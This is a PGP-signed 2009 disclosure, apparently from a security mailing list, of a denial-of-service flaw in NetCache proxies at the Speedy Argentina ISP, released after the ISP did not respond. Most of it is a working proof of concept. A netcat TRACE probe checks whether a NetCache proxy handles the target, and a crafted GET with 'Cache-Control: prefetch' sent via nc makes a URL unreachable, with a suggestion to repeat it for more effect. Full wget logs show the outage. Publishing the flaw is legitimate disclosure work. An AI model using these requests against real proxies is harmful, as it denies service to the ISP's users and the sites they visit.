-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Research by Hernan Pereira and associates. No response from Speedy in the past 15 days. Proceeding with disclosure. A DoS vulnerability exists in NetCache proxies of at least some areas of Speedy Argentina ISP (201.255.64/18), by which a URL could be rendered inaccessible by means of the prefetch cache control directive. The procedure is very simple, sending several times a simple GET HTTP/1.1 request to the victim URL will make the proxies no longer serve it. Users will be waiting for about two minutes and then the TCP connection will be closed, which depending on the user agent it will be interpreted as a valid zero-length HTTP 0.9 reply or an error. It is worth noting that this attack affects the URL EXACTLY. For instance, attacking http://www.google.com/ will not block http://www.google.com./ (notice the dot before the last slash), nor http://www.google.com/whatever neither. However, it is clear enough that even affecting a single URL is enough to make many sites unusable. Since the ISP has its proxies infrastructure half-migrated to BlueCoat proxies (which don't honor prefetch directive), this vulnerability may look randomly observable on big sites (like Google) due to the destination IP-based load balancing. Additionally it seems to be an extra load balancing which makes some remote IP addresses be caught by a BlueCoat proxy even though the same IP was handled nearly all times by a NetCache. This vulnerability was not present earlier but since Speedy made their proxies unable to go out with their own IPs, the prefetch couldn't work anymore and the NetCache proxies seems to not want to spoof the clients' IP addresses for that URL until the prefetch is done (never). Here it is a PoC using a Google's IP for the testing purposes, but the same behavior would be exhibited by the victim proxy with host names: // Lets check our target IP is handled by a NetCache: $ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards: 0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80 HTTP/1.1 200 OK Date: Mon, 17 Aug 2009 00:35:16 GMT Content-Length: 97 Content-Type: message/http Server: NetCache appliance (NetApp/6.0.7) Connection: close TRACE http://74.125.65.106/ HTTP/1.1 Host: 74.125.65.106 Max-Forwards: 0 Connection: close //OK, it is, lets register the IP in a variable for later use: $ GoogleHost=74.125.65.106 //Lets verify it is working now: $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:15:05-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,136 32.6K/s in 0.2s 2009-08-16 21:15:05 (32.6 KB/s) - `/dev/null' saved [5136] $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:15:07-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,154 - --.-K/s in 0.1s 2009-08-16 21:15:08 (35.8 KB/s) - `/dev/null' saved [5154] $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:15:10-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,136 - --.-K/s in 0.01s 2009-08-16 21:15:10 (360 KB/s) - `/dev/null' saved [5136] //Now we exploit the bug. Take in mind that for extra effectiveness it would be better to repeat this step many times for better pollution $ printf "GET / HTTP/1.1\r\nHost: $GoogleHost\r\nCache-Control: prefetch\r\nConnection: Close\r\n\r\n" | nc $GoogleHost 80 HTTP/1.1 200 OK Server: NetApp/6.0.7 //Lets try downloading the index page again: $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:15:58-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:16:04-- (try: 2) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:16:11-- (try: 3) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:16:20-- (try: 4) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,118 33.0K/s in 0.2s 2009-08-16 21:16:20 (33.0 KB/s) - `/dev/null' saved [5118] // As you can see it worked in the last try. The problem is that at times a BlueCoat proxy may handle the request as can be seen here: $ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards: 0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80 HTTP/1.1 400 Bad Request Content-Type: text/html; charset=UTF-8 Date: Mon, 17 Aug 2009 00:12:03 GMT Server: GFE/2.0 Content-Length: 1350 Connection: close (Output ommited) //Trying wget once more: $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:17:25-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:17:31-- (try: 2) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:17:38-- (try: 3) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:17:46-- (try: 4) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:17:55-- (try: 5) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:18:05-- (try: 6) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:18:16-- (try: 7) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:18:28-- (try: 8) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:18:41-- (try: 9) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:18:55-- (try:10) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:19:10-- (try:11) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:19:25-- (try:12) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. ^C //After twelve tries it never worked. However, trying with a sightly different URL: $ wget http://$GoogleHost/? -O /dev/null -T 5 - --2009-08-16 21:19:41-- http://74.125.65.106/? Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,136 - --.-K/s in 0.1s 2009-08-16 21:19:41 (33.7 KB/s) - `/dev/null' saved [5136] $ wget http://$GoogleHost/? -O /dev/null -T 5 - --2009-08-16 21:19:42-- http://74.125.65.106/? Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,136 33.1K/s in 0.2s 2009-08-16 21:19:42 (33.1 KB/s) - `/dev/null' saved [5136] $ wget http://$GoogleHost/? -O /dev/null -T 5 - --2009-08-16 21:19:43-- http://74.125.65.106/? Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `/dev/null' [ <=> ] 5,136 - --.-K/s in 0.01s 2009-08-16 21:19:43 (346 KB/s) - `/dev/null' saved [5136] //Now it worked fine. Lets try again the attacked URL: $ wget http://$GoogleHost/ -O /dev/null -T 5 - --2009-08-16 21:19:46-- http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... Read error (Connection timed out) in headers. Retrying. - --2009-08-16 21:19:52-- (try: 2) http://74.125.65.106/ Connecting to 74.125.65.106:80... connected. HTTP request sent, awaiting response... ^C //Still inaccessible. - -- Arturo "Buanzo" Busleiman / Arturo Busleiman @ 4:900/107 Independent Linux and Security Consultant - SANS - OISSG - OWASP http://www.buanzo.com.ar/pro/eng.html Mailing List Archives at http://archiver.mailfighter.net -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEUEAREKAAYFAkqcVGoACgkQAlpOsGhXcE17RwCdH5ePNeTPmkDMOdWFDLz09MjW WxYAl1u5qG81IS7NL67AsY1AdRPHVcU= =+R82 -----END PGP SIGNATURE-----